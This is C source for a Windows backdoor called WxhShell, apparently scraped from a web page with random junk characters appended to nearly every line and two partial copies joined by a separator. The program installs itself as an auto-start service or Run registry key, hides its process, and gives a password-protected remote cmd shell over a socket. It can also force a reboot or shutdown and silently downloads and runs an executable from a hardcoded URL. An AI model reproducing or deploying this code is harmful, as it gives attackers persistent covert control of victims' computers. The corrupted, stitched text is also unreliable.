    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %;,fI'M  
    if(Boot(SHUTDOWN)) ci~#G[_$S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^`&'u_B!+  
    else { r7m~.M+W"  
    closesocket(wsh); b dgkA  
    ExitThread(0); H@Z_P p?  
    } ;)(g$r^_i  
    break; D@O `"2  
    } $5R2QNg n  
  // 获取shell cMw<3u\  
  case 's': { 6>a6;[  
    CmdShell(wsh); m9 h '!X<  
    closesocket(wsh); 8h=t%zMSb  
    ExitThread(0); f!9i6  
    break; 4<y   
  } 8QrpNSj4  
  // 退出 $9)os7H7  
  case 'x': { jf~](TK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k?+ 7%A]  
    CloseIt(wsh); l|P"^;*zq  
    break; B*(]T|ff<  
    } p)y5[HX  
  // 离开 j/O~8o&  
  case 'q': { [FO4x`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c|&3e84U  
    closesocket(wsh); 7n8nJTU{4j  
    WSACleanup(); ^3;B4tj[  
    exit(1); -*C WF|<G  
    break; {M]_]L{&7  
        } D}_.D=)  
  } 5R7x%3@L  
  } v@ _1V  
mci> MEb  
  // 提示信息 G{U#9   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IiU> VLa  
} XB)D".\  
  } $|N6I  
M.W X&;>  
  return; T ozx0??)  
} (bsx|8[  
U"PcNQy  
// shell模块句柄 (2g a: }K  
int CmdShell(SOCKET sock) ;8sL  
{ f9.?+.^_  
STARTUPINFO si; BI1M(d#1L"  
ZeroMemory(&si,sizeof(si)); ,>;21\D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aZFpt/.d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $D bnPZ2$  
PROCESS_INFORMATION ProcessInfo; *WwM"NFHDd  
char cmdline[]="cmd"; W0qR? jc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rq+_ [!  
  return 0; xe@1H\7:  
} y>I2}P  
l5[5Y6c>  
// 自身启动模式 2Ez<Iw  
int StartFromService(void) -$Oh.B`i  
{  :Sq] |)  
typedef struct )GD7 rsC`<  
{ &d_^k.%y  
  DWORD ExitStatus;  WR;1  
  DWORD PebBaseAddress; HK;NR.D  
  DWORD AffinityMask; K"#$",}=  
  DWORD BasePriority; (Ou%0 KW  
  ULONG UniqueProcessId; GAz -yCJp  
  ULONG InheritedFromUniqueProcessId; kpm;ohd  
}   PROCESS_BASIC_INFORMATION; >Bt82ibN  
Xka REE  
PROCNTQSIP NtQueryInformationProcess; LgqQr6y"  
hlzB cz*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]3KeAJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }A)\bffH  
3BFOZV+  
  HANDLE             hProcess; 9/ <3mF@E  
  PROCESS_BASIC_INFORMATION pbi; h0{X$&:  
dSM\:/t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Un?|RF  
  if(NULL == hInst ) return 0; @@65t'3S  
$J[( 3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iC"iR\Qu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ){^J8]b7#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cD!,ZL  
&>sbsx\y  
  if (!NtQueryInformationProcess) return 0; As:O|!F  
@DN/]P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8&<mg;H,  
  if(!hProcess) return 0; jK|n^5\  
J4Gzp~{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *uvM6F$ut  
PL/g| ;  
  CloseHandle(hProcess); bi<<z-q`wJ  
M\ATT%b:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {,>G 1>Yv  
if(hProcess==NULL) return 0; \DB-2*a"  
C:QB=?%;  
HMODULE hMod; }vndt*F   
char procName[255]; (b&g4$!x&5  
unsigned long cbNeeded; =sJ?]U  
F/5&:e?( )  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M0V<Ay\%O  
Y|Iq~Qy~  
  CloseHandle(hProcess); tl#sCf!c  
Vk2$b{VdF  
if(strstr(procName,"services")) return 1; // 以服务启动 wKJG 31I^  
I^NDJdxd  
  return 0; // 注册表启动 !T 6R[  
} Oa|c ?|+  
|RX#5Q>z  
// 主模块 c=m'I>A  
int StartWxhshell(LPSTR lpCmdLine) D#;7S'C  
{ *2AD#yIKC  
  SOCKET wsl; Uh }PB3WZ  
BOOL val=TRUE; 2]!@)fio`  
  int port=0; xS*UY.>  
  struct sockaddr_in door; HsY5wC  
-3Kh >b)  
  if(wscfg.ws_autoins) Install(); 6o't3Peh  
U4D7@KY +m  
port=atoi(lpCmdLine); l;-Ml{}|0  
j G8;p41  
if(port<=0) port=wscfg.ws_port; Knwy%5.Z  
DiJLWXs  
  WSADATA data; N J3;[qJ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1J?v\S$ma`  
5EYGA\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .9~j%] q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,H=k5WA4m  
  door.sin_family = AF_INET; !KHgHKEW^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZW4f "  
  door.sin_port = htons(port); e~)[I!n  
3>O|i2U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %:3XYO.w-  
closesocket(wsl); F*72g)hVh  
return 1; RQVu~7d[  
} ztp|FUi  
e@D_0OZ  
  if(listen(wsl,2) == INVALID_SOCKET) { '| 8 dt "C  
closesocket(wsl); <jh4P!\&j  
return 1; MN?aPpr>  
} uwwR$ (\7  
  Wxhshell(wsl); [F-R*}&x  
  WSACleanup(); xyL"U*  
Z.VKG1e}  
return 0; tv#oEM9esl  
1lw%RM  
} t"=5MaQk-  
)+ .=z  
// 以NT服务方式启动 yRXML\Ge  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `Ba]i)!  
{ #g{R+#fm  
DWORD   status = 0; Yy*=@qu>g  
  DWORD   specificError = 0xfffffff; VD=H=Ju  
p-4$)w~6i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O8]e(i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PTe L3L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; *X0>Ru[  
  serviceStatus.dwWin32ExitCode     = 0; |{9<%Ok4P  
  serviceStatus.dwServiceSpecificExitCode = 0; abo=v<mR  
  serviceStatus.dwCheckPoint       = 0; ,i:?c  
  serviceStatus.dwWaitHint       = 0; !XPjRdq  
W[2]$TwT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Xa[k=qFo  
  if (hServiceStatusHandle==0) return; =j.TDv'^nd  
Af3|l  
status = GetLastError(); 3$?6rMl@y  
  if (status!=NO_ERROR) cBxGGggB  
{ O<S.fr,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Tmzbh 9  
    serviceStatus.dwCheckPoint       = 0; IuwE&#  
    serviceStatus.dwWaitHint       = 0; !"^Zr]Qt+\  
    serviceStatus.dwWin32ExitCode     = status; vJWBr:`L  
    serviceStatus.dwServiceSpecificExitCode = specificError; s9Hxiw@D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y:'Ns$+  
    return; 1wFu3fh@  
  } 5B=uvp|Y  
CsZ~LQ=DB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s6H.Q$3L  
  serviceStatus.dwCheckPoint       = 0; a?[[F{X9^  
  serviceStatus.dwWaitHint       = 0; Iz0$T.T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8(1*,CJQg  
} EBy7wU`S  
$1yy;IyR  
// 处理NT服务事件,比如:启动、停止 G6p gG+w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e=i X]%^  
{ U1 _"D+XB  
switch(fdwControl) VbX P7bZ  
{ ] Lv3XMa  
case SERVICE_CONTROL_STOP: o[Ffa# sE  
  serviceStatus.dwWin32ExitCode = 0; |A&;m}(Mt  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8$IKQNS  
  serviceStatus.dwCheckPoint   = 0; $d<NN2  
  serviceStatus.dwWaitHint     = 0; K43%9=sM  
  { b-u@?G|<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9nFL70  
  } VZ9 p "  
  return; _3Eo{^  
case SERVICE_CONTROL_PAUSE: gFR}WBl/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )r e<NE&M  
  break; f,G*e367:  
case SERVICE_CONTROL_CONTINUE: [qc1 V%g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~F"S]  
  break; j iKHx_9P  
case SERVICE_CONTROL_INTERROGATE: o/Ismg-p  
  break; 8iIp[9~=  
}; \U:OQ.e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g5y+F]'I  
} ajSB3}PN  
M@[W"f Wq  
// 标准应用程序主函数 6KddHyFz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y3~`qq  
{ f@i#Znkf*?  
n0KpKH<&  
// 获取操作系统版本 ,L& yKS@  
OsIsNt=GetOsVer(); Xb"i/gfxt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eoiz]L  
5,Fq:j)MxW  
  // 从命令行安装 Skr (C5T  
  if(strpbrk(lpCmdLine,"iI")) Install(); (L(7)WbH  
OxHcoNrz  
  // 下载执行文件 -06G.;W\^  
if(wscfg.ws_downexe) { Bsa;,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NBk0P*SI  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~4 fE`-O  
} [Hh*lKg  
iT'doF  
if(!OsIsNt) { $_S-R 3L\  
// 如果时win9x,隐藏进程并且设置为注册表启动 VhO+nvd*W  
HideProc(); ^yW['H6V  
StartWxhshell(lpCmdLine); d6n_Hpxw^  
} xJ>5 ol  
else /EjXyrn2  
  if(StartFromService()) coXg]bUKo  
  // 以服务方式启动 ?t 'V5$k\  
  StartServiceCtrlDispatcher(DispatchTable); Im6gWDdq@6  
else \,13mB6  
  // 普通方式启动 z"f@iJX?2  
  StartWxhshell(lpCmdLine); wO]e%BTO  
3t-STk?  
return 0; JC cYFtW  
} _Q+c'q Zkl  
8H7#[?F  
L\#YFf  
U p@^C"  
=========================================== eha|cAq  
+u|"q+p  
Ar<5UnT  
L6h<B :l  
g+B7~Z5,  
]N 9N][n  
" [H*JFKpx  
9"#C%~=+  
#include <stdio.h> v~ >Bbe  
#include <string.h> k2 Ju*W&  
#include <windows.h> UF-&L:s[  
#include <winsock2.h> ^BA I/WP  
#include <winsvc.h> Lg<h54X  
#include <urlmon.h> # scZP  
4aArxJ  
#pragma comment (lib, "Ws2_32.lib") lp(2"$nQ  
#pragma comment (lib, "urlmon.lib") '~Y@HRVL@|  
_:[@zxT<x  
#define MAX_USER   100 // 最大客户端连接数 kWW2N0~$  
#define BUF_SOCK   200 // sock buffer -=5~h  
#define KEY_BUFF   255 // 输入 buffer ].Yz =:  
!q+ #JW  
#define REBOOT     0   // 重启 D('.17  
#define SHUTDOWN   1   // 关机 7"!`<5o^  
7<su8*?  
#define DEF_PORT   5000 // 监听端口 #G#gc`S-,  
+&S 7l%-  
#define REG_LEN     16   // 注册表键长度 @ujwN([I  
#define SVC_LEN     80   // NT服务名长度 Nvd(?+c  
o8X_uKEI  
// 从dll定义API ht>%O7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q/g!h}>(.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P")I)> Q6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x3i}IC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lpXGsK H2  
hJ(vDv%  
// wxhshell配置信息 Z[Tou  
struct WSCFG { h^g0|p5  
  int ws_port;         // 监听端口 j&X&&=   
  char ws_passstr[REG_LEN]; // 口令 ^=eC1 bQA  
  int ws_autoins;       // 安装标记, 1=yes 0=no u)<]Pb})r  
  char ws_regname[REG_LEN]; // 注册表键名 1)k+v17]f5  
  char ws_svcname[REG_LEN]; // 服务名 m[eqTh4*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -6+7&.A+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x`g,>>&C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (tYZq86`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z3JUYEAS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JuSS(dJw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J$}]p  
m\qeYI6,Z  
}; eN<L)a:J_  
HQ@g6  
// default Wxhshell configuration 4Kch=jt4#  
struct WSCFG wscfg={DEF_PORT, D^4nT,&8  
    "xuhuanlingzhe", Oa/zE H  
    1, P<IDb%W  
    "Wxhshell", Bf*>q*%B{  
    "Wxhshell", G%sq;XT61  
            "WxhShell Service", :^ywc O   
    "Wrsky Windows CmdShell Service", o MJ `_  
    "Please Input Your Password: ", eyK xnBz  
  1, Go{,< gm  
  "http://www.wrsky.com/wxhshell.exe", fJlNxdVr  
  "Wxhshell.exe" n5=U.r  
    }; p{5m5x  
:&wb+tV  
// 消息定义模块 xnMcxys~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  !64Tx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0Agse)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <yipy[D  
char *msg_ws_ext="\n\rExit."; F ,472H  
char *msg_ws_end="\n\rQuit."; >OaD7  
char *msg_ws_boot="\n\rReboot..."; &IN%2c  
char *msg_ws_poff="\n\rShutdown..."; Y'iI_cg  
char *msg_ws_down="\n\rSave to "; }@q/.Ct! x  
o6vnl  
char *msg_ws_err="\n\rErr!"; opa}z-7>^  
char *msg_ws_ok="\n\rOK!"; +51heuu[o  
)'~Jsg-  
char ExeFile[MAX_PATH]; y.A3hV%6b  
int nUser = 0; fk ,Vry  
HANDLE handles[MAX_USER]; b=r3WkB6  
int OsIsNt; X8ulaa  
}sH[_%)  
SERVICE_STATUS       serviceStatus; Mw0>p5+ cy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o*)Sg6Yk  
8GP17j  
// 函数声明 $~1vXe  
int Install(void); ketp9}u  
int Uninstall(void); Bh&pZcm|  
int DownloadFile(char *sURL, SOCKET wsh); dCi:@+z8  
int Boot(int flag); dJgLS^1E  
void HideProc(void); o=R(DK# U  
int GetOsVer(void); R` < ^/h  
int Wxhshell(SOCKET wsl); b;b,t0wS  
void TalkWithClient(void *cs); ZxNTuGOB:  
int CmdShell(SOCKET sock); 5;}W=x^$a  
int StartFromService(void); EQ273sdK  
int StartWxhshell(LPSTR lpCmdLine); i*=~m O8E  
R1H^CJ=v0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *#YZm>h   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U1r]e%df)  
d 5yEgc;z  
// 数据结构和表定义 mxqD'^n#  
SERVICE_TABLE_ENTRY DispatchTable[] = Mm$\j*f/  
{ jM\{*!7b  
{wscfg.ws_svcname, NTServiceMain}, 2yK">xYY@  
{NULL, NULL} ]^C 8Oh<  
}; 1_TuA(  
T`!R ki%~  
// 自我安装 VVDN3  
int Install(void) cuN]}=D  
{ tQ{/9bN?P  
  char svExeFile[MAX_PATH]; ;+wB!/k,  
  HKEY key; nmU1xv_  
  strcpy(svExeFile,ExeFile); '|4+< #  
{[2o  
// 如果是win9x系统,修改注册表设为自启动 H<Sf0>OA  
if(!OsIsNt) { (1'DZ xJ&u  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i"G'#n~e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?z1v_Jh  
  RegCloseKey(key); Oin9lg-jR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F(hPF6Zx(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R `tJ7MB  
  RegCloseKey(key); 3Cj)upc  
  return 0; I&+.IK_  
    } To*+Z3Wd  
  } S[K5ofV  
} p{L;)WTI  
else { 1*8;)#%&  
cp@Fj"  
// 如果是NT以上系统,安装为系统服务 2Xl+}M.:Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j+h+Y|4J  
if (schSCManager!=0) `xzKRId0  
{ B4b'0p  
  SC_HANDLE schService = CreateService |H t5a.  
  ( #zl1#TC{(  
  schSCManager, ~^obf(N`  
  wscfg.ws_svcname, kxhsDD$@p  
  wscfg.ws_svcdisp, b11I$b #  
  SERVICE_ALL_ACCESS, K[y")ooE<j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vR\E;V  
  SERVICE_AUTO_START, R@K\   
  SERVICE_ERROR_NORMAL, D<J'\mo  
  svExeFile, 8lV:-"+5  
  NULL, |E >h*Y  
  NULL, K+`GVmD  
  NULL, NTt4sWP!I  
  NULL, bJ_rU35s>  
  NULL aLh(8;$  
  ); sYS 8]JU  
  if (schService!=0) .u)KP*_  
  { |Ml~Pmpp  
  CloseServiceHandle(schService); fv7VDo8vb  
  CloseServiceHandle(schSCManager); LWM<[8wJ4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ya&=UoI  
  strcat(svExeFile,wscfg.ws_svcname); WkuCn T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jOV6 %  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sa8O<Ab  
  RegCloseKey(key); */e$S[5  
  return 0; "\@J0 |ppb  
    } Ve(<s  
  } dCoP qKy  
  CloseServiceHandle(schSCManager); f![] :L  
} dT0W8oL  
} sLA.bp.O  
:i!fPNn  
return 1; 'mZ v5?  
} X]y8-}Qf  
7 {92_xRL  
// 自我卸载 STnMBz7  
int Uninstall(void) aE'nW_f  
{ \s#~ %l  
  HKEY key; +DRt2a #  
j9k:!|(2'  
if(!OsIsNt) { G %sO{k7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6vK`J"d{~D  
  RegDeleteValue(key,wscfg.ws_regname); =CFjG)L  
  RegCloseKey(key); O H>.N"IG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9^!.!%6O$  
  RegDeleteValue(key,wscfg.ws_regname); 'b.jKkW7  
  RegCloseKey(key); ]ePg6  
  return 0; wK2$hsque  
  } X}Q4;='C-  
} g}hUCx(  
} 1#x5 o2n  
else { %O9Wm_%  
~+'f[!^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \Hp!NbnF$  
if (schSCManager!=0) _9=87u0  
{ e&x)g;bn  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <ci(5M  
  if (schService!=0) 7;p/S#P:  
  { bR7tmJ[)Z  
  if(DeleteService(schService)!=0) { c $1u  
  CloseServiceHandle(schService); JAHg_!  
  CloseServiceHandle(schSCManager); 2e\"?yOD  
  return 0; Yuv=<V  
  } _zDS-e@  
  CloseServiceHandle(schService); Y A,. C4=s  
  } jP<6J(  
  CloseServiceHandle(schSCManager); 8d*S9p,/  
} rCa]T@=  
} Oey Ph9^V  
P1OYS\  
return 1; drAJ-ii  
} !!L'{beF  
h.?<( I  
// 从指定url下载文件 ky|kg@n{  
int DownloadFile(char *sURL, SOCKET wsh) ;}6wj@8He  
{ L&+k`b  
  HRESULT hr; lai@,_<GV  
char seps[]= "/"; eM!Oc$C8[  
char *token; Ly(iq  
char *file; 0dwD ?GG2  
char myURL[MAX_PATH]; ^JxVs 7  
char myFILE[MAX_PATH]; 6/cm TT$i  
ED8{  
strcpy(myURL,sURL); (tA[]ne2  
  token=strtok(myURL,seps); P>q~ocq<  
  while(token!=NULL) U>kaQ54/  
  { (A2ga):Pk  
    file=token; 06HU6d ,  
  token=strtok(NULL,seps); ?MywA'N@x  
  } .~I:Hcf/  
kmBA  
GetCurrentDirectory(MAX_PATH,myFILE); _L)LyQD]T  
strcat(myFILE, "\\"); Gd C=>\]  
strcat(myFILE, file); (;g/wb:  
  send(wsh,myFILE,strlen(myFILE),0); !QdX+y<re  
send(wsh,"...",3,0); t~qSiHw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5 xr2  
  if(hr==S_OK) c@,1?q1bv  
return 0; Fdl0V:<  
else f]10^y5&  
return 1; WS&a9!3;  
V+y|C[A F  
} gGNo!'o  
9+(6 /<  
// 系统电源模块 KOR*y(*8  
int Boot(int flag) d3a!s  
{ 0<uL0FOT  
  HANDLE hToken; KYkS ^v  
  TOKEN_PRIVILEGES tkp; rk %pA-P2  
%l%ad-V  
  if(OsIsNt) { 0Bgj.?l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a:P+HU:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %d:cC:`  
    tkp.PrivilegeCount = 1; x%)oL:ue  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UK'8cz9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R,.qQF\*  
if(flag==REBOOT) { yuq o ^i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lw8t#_P  
  return 0; M.SF}U  
} 0XljFQ  
else { .`KzA]&#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \|vo@E  
  return 0; SIM> Lz  
} V,zFHXO  
  }  ~9YEb  
  else { cC9Zc#aK  
if(flag==REBOOT) { 86KK Y2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %*q^i}5)E  
  return 0; V9KRA 1  
} 9Pvv6WyKy  
else { dM}c-=w`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L8E4|F}  
  return 0; >`WQxkpy  
} - ]/=WAOK  
} t0<RtIh9e  
>t9DI  
return 1; 2ETv H~23  
} Wf?[GO  
?W dY{;&  
// win9x进程隐藏模块 KWYjN h#*  
void HideProc(void) ?;w`hA3ei  
{ \u6.*w5TI  
q(46v`u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  ^0{t  
  if ( hKernel != NULL ) Kl?C[  
  { WOgkv(5KN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Nj?Q{ztS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E i2M~/  
    FreeLibrary(hKernel); Q4Wz5n1yp7  
  } sWTa;Qi  
VeEa17g&  
return; ) C\/(  
} )`<&~>qp  
`p)U6J  
// 获取操作系统版本  b utBS  
int GetOsVer(void) -oZw+ge}  
{ T#e|{ZCbq  
  OSVERSIONINFO winfo; 4K~>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); am 'K$s  
  GetVersionEx(&winfo); W3('1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YHgNL LZ?  
  return 1; o*~=NoR  
  else O<AGAD  
  return 0; <v\$r2C*  
} r_8;aPL  
r~|7paX!  
// 客户端句柄模块 ifl LY7j  
int Wxhshell(SOCKET wsl) d BM{]@bZ  
{ \,m*CYs`  
  SOCKET wsh; hZ|0<u  
  struct sockaddr_in client; +s7w@  
  DWORD myID; r|z B?9Q  
G ` eU   
  while(nUser<MAX_USER) Om;` "5  
{ W}k/>V_  
  int nSize=sizeof(client); hVz]' ,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 00>knCe6  
  if(wsh==INVALID_SOCKET) return 1; aU.!+e%_  
EpT^r8I  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8B "^}y\0  
if(handles[nUser]==0) 'aeuL1mz  
  closesocket(wsh); P~&J@8)c  
else Aj/EaIq  
  nUser++; Y~r)WV!G  
  } wrJ" (:VZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?{L'd  
2h@&yW2j  
  return 0; ww+,GnV  
} /nh3/[u  
EKuLt*a/  
// 关闭 socket sw:a(o&$  
void CloseIt(SOCKET wsh) m.gv?  
{ 6B b+f"  
closesocket(wsh); roi,?B_8  
nUser--; 7 > _vH]  
ExitThread(0); FLG{1dS  
} 0=9$k  
q&:%/?)x  
// 客户端请求句柄 IQ$6}.  
void TalkWithClient(void *cs) wZ`*C mr  
{ ]X X>h~0  
{EVy.F  
  SOCKET wsh=(SOCKET)cs; ^mut-@ N9  
  char pwd[SVC_LEN]; !F Zg' 9  
  char cmd[KEY_BUFF]; C0^r]^$Z  
char chr[1]; R%9,.g <  
int i,j; w%oa={x  
n b*`GE  
  while (nUser < MAX_USER) { 7pyaHe  
s gZlk9x!Q  
if(wscfg.ws_passstr) { 6 !Mm")  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qjg Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); soLmr's  
  //ZeroMemory(pwd,KEY_BUFF); V HLNJnA  
      i=0; bx-:aC)]2  
  while(i<SVC_LEN) { _$8:\[J  
z 63y8  
  // 设置超时 oe=1[9T"  
  fd_set FdRead; s=K?-O  
  struct timeval TimeOut; u{sb^cmy  
  FD_ZERO(&FdRead); `O%O[  
  FD_SET(wsh,&FdRead); jnM}N:v  
  TimeOut.tv_sec=8; (7$BF~s:,  
  TimeOut.tv_usec=0; Nn?$}g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xbCQ^W2YU|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l?xd3Z@7[  
Bq-}BN?pz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V8pZr+AJ  
  pwd=chr[0]; /z}b1m+  
  if(chr[0]==0xd || chr[0]==0xa) { @ W,<8  
  pwd=0; /* "pylm  
  break; 4l> d^L  
  } \lwLVe  
  i++; :N_DJ51  
    } 7e#|Iq:o  
C/9]TkX}q  
  // 如果是非法用户,关闭 socket e)XnS'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3m&  
} {DUtdu[  
CHCT e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [;~"ctf{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nuA 0%K  
*q[;-E(fZ#  
while(1) { eq<!  
.Ep&O#  
  ZeroMemory(cmd,KEY_BUFF); E},zB*5TH  
|GP&!]  
      // 自动支持客户端 telnet标准   5-&"nn2*}1  
  j=0; b0x%#trA{  
  while(j<KEY_BUFF) { $e  uI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PY+4OZ$  
  cmd[j]=chr[0]; Qf'g2 \  
  if(chr[0]==0xa || chr[0]==0xd) { )NqRu+j  
  cmd[j]=0; z'"Y+EWN  
  break; [1z.JfC :S  
  } Pl2eDv-y  
  j++; bg)}-]u]  
    } g^\!> i  
zXbA$c  
  // 下载文件 Tv 5J  
  if(strstr(cmd,"http://")) { $ 1m}lXk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T)ISDK4>S"  
  if(DownloadFile(cmd,wsh)) vWa\8yf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); h 'Hnq m  
  else % w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _]eyt_  
  } ~zWLqnS}  
  else { hp2$[p6O  
MGr e_=Dm_  
    switch(cmd[0]) { G68@(<<Z  
